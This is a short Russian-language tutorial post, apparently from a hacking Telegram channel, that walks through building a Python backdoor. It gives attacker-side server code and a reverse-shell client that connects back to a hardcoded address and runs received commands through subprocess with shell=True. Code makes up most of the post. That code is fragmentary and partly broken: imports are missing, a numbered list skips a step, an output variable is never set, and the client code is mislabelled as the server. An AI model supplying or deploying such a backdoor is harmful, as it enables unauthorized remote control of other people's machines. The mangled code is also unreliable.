Бэкдор — это инструмент, который позволяет хакеру удаленно подключиться к целевой машине. В этой статье я покажу, как создать простой бэкдор на Pyhton
Основная цель бэкдора — отправлять и выполнять команды и получить удаленный доступ к файлам на целевой системе.
Создание бэкдора на Python
Во-первых, мы должны создать сервер, на котором будем работать. Сервер будет состоять из четырех частей:
1) Получение нашего локального IP и указанного порта.
2) Привязка IP-адреса и порта для создания сокета.
4) Отправка и получение команд в бесконечном цикле.
# Getting our local IP and a specified port
HOST = '127.0.0.1' # '192.168.43.82'
new_port = input('Input Host Port (Blank if default).')
# Binding the IP to the Port
server.bind((HOST, PORT))
print('[+] Server Started')
print('[+] Listening For Client Connection ...')
client, client_addr = server.accept()
print(f'[+] {client_addr} Client connected to the server')
# Sending and receiving commands in an infinite loop
command = input('Enter Command : ')
command = command.encode()
print('[+] Command sent')
output = client.recv(1024)
print(f"Output: {output}")
Затем мы подключимся к атакующему на основе жестко запрограммированного IP-адреса и порта, поскольку он не может получить их динамически.
Поскольку мы запускаем эту обратную оболочку на локальной машине, сокет будет выглядеть так:
REMOTE_HOST = '127.0.0.1'
REMOTE_PORT = 8081 # 2222
Далее мы должны получать команды и использовать библиотечный подпроцесс для открытия терминала и параллельного запуска команд. Вот как это будет выглядеть:
command = client.recv(1024)
command = command.decode()
op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
Полный код сервера выглядит следующим образом:
from ctypes.wintypes import INT
REMOTE_HOST = '127.0.0.1'
REMOTE_PORT = 8081 # 2222
# Initializing Connection
print("[-] Connection Initiating...")
client.connect((REMOTE_HOST, REMOTE_PORT))
print("[-] Connection initiated!")
print("[-] Awaiting commands...")
command = client.recv(1024)
command = command.decode()
op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
output_error = op.stderr.read()
print("[-] Sending response...")
client.send(output + output_error)
Информация предоставлена для ознакомительных целей!
Мы в телеграме!